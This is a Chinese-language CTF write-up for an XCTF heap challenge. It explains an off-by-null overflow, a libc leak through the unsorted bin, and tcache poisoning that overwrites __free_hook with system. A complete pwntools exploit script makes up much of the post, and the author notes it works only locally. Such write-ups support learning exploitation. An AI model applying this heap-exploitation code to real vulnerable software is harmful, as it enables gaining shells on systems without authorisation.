开篇碎碎念
XCTF上的一道傻逼题目,难度为8,为什么说傻逼呢,是因为它附件给错了。正确的libc版本应该是2.27,XCTF上面给的却是32位的2.23。。
还有一点就是做到最后也只能本地打通,远程连上以后连libc基址都不对。BUU上面也有一样的题目,没给libc但是可以本地2.27,但最终远程还是连不上,我也就懒得折腾了本地写了个flag自娱自乐。
题目
这个函数存在off-by-null
这题delete函数在free以后将指针置零了,不存在UAF。show函数的实现是把index为0-6的7个chunk分别输出。
那么这题需要用off-by-null造成堆块合并进入unsorted bin并且实现存在指向合并chunk(unsorted bin)的指针。
如果直接用相邻的两个chunk是无法做到的,需要中间有一个chunk隔开,这个中间chunk可以起到指向合并chunk的作用。但是目前指向的位置是在chunk的中间位置,怎样做到让它指向unsorted bin中合并chunk的头呢?那就是需要再把第一个chunk申请出来,合并chunk在这一步被分割,中间chunk指向的位置就会刚好变成unsorted bin中被分割后的chunk的头,由此可以泄露libc。再在第一个chunk和第三个chunk中间再加一块chunk,可以防止中间chunk与一号chunk合并。当然这样做之后申请大chunk的size就应该是一号chunk和再加的那一块chunk的和。
之后再用类似的方法实现tcache poisoning.写__free_hook就可以了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import*
context.log_level="debug" context.terminal = ["konsole", "-e"]
p=process("./timu") elf=ELF("./timu") libc=ELF("./libc-2.27.so")
def add(size,data): p.sendlineafter(b"Your choice :",b"1") p.sendlineafter(b"Size: ",str(size)) p.sendlineafter(b"Data: ",data) def delete(idx): p.sendlineafter(b"Your choice :",b"2") p.sendlineafter(b"Index: ",str(idx)) def show(): p.sendlineafter(b"Your choice :",b"3")
gdb.attach(p) add(0x4F0,b'index:0\n') add(0xF0,b'index:1\n') add(0x5F8,b'index:2\n') add(0x4F0,b'index:3\n') add(0x20,b'index:4\n')
delete(2) delete(0) add(0x5F8,b'a' * 0x5F0 + p64(0xC00)) delete(3)
add(0x5F0,b"index:2\n")
show() p.recvuntil(b"0 : ") libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 96 - 0x3EBC40 log.success("libc_base:" + hex(libc_base))
freehook_addr = libc_base + libc.symbols["__free_hook"] system_addr = libc_base + libc.symbols["system"] one_gadget = libc_base + 0x3c565
delete(1) delete(2) add(0x5F8,b'a' * 0x4F0 + p64(0) + p64(0x101) + p64(freehook_addr) + b'\n') add(0xF0,b'/bin/sh\x00\n') add(0xF0,p64(system_addr) + b'\n') delete(2)
p.interactive()
|
注
这道题目在学习、解答和写wp过程中诸多地方参考了chuj学长的博客。同时这也是我第一次接触off-by-null的题目,自己现在也就一知半解,写的很垃圾望大佬轻喷(
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !